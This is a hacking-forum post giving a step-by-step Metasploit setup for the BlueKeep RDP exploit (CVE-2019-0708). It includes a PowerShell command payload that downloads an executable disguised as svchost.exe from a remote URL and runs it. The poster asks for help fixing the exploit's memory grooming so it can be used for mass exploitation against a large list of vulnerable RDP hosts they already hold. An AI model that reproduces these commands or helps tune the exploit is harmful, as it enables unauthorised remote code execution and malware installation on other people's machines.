

Forum:[Hack Forums](#)

Thread: [\(CVE-2019-0708\) - \[BlueKeep\] - Exploitation using Metasploit and custom PAYLOAD.](#)

PolymorphicZero - November 1, 2020, 10:00 am

(The configuration used is as follows):

0) sudo msfconsole.

1) use exploit/windows/rdp/cve_2019_0708_bluekeep_rce.

2) set RDP_CLIENT_IP 192.168.1.7

3) set RHOSTS file:/home/michael/Hosts.txt.

4) set TARGET 1.

5) set ForceExploit true.

6) set PAYLOAD windows/x64/exec

7) set CMD "PowerShell (New-Object

System.Net.WebClient).DownloadFile('http://www.google.com/svchost.exe','svchost.exe');Start-Process 'svchost.exe'". [I tried also with .PS1 (Powershell script generated from "Unicorn": "https://github.com/trustedsec/unicorn"; with annex D&E of my .EXE)].

8) set GROOMSIZE 50.

I tried in local using a VM (VirtualBox 6.1) "Windows 7". [In this case TARGET should be = "2"; and RHOSTS = local IPv6]: everything works well, but, unfortunately, I get BSOD; related to DOS invoked.

So, no exploitation success.

The problem to be solved is inside the GROOMBASE: ("NonPagedPool - Start"). That's wrong by default.

Even more complex in mass-exploitation.

Someone has any idea how to solve? Not important locally; (For that it's just needed to get a DUMP from the memory of the VM: to retrieve the start-address) I'm interested in being able to use that in mass-exploitation. (I already have a large list of "Vulnerable" RDP's).

Any contribute will be appreciated.

Thanks in advance!

Best regards,

PolymorphicZero.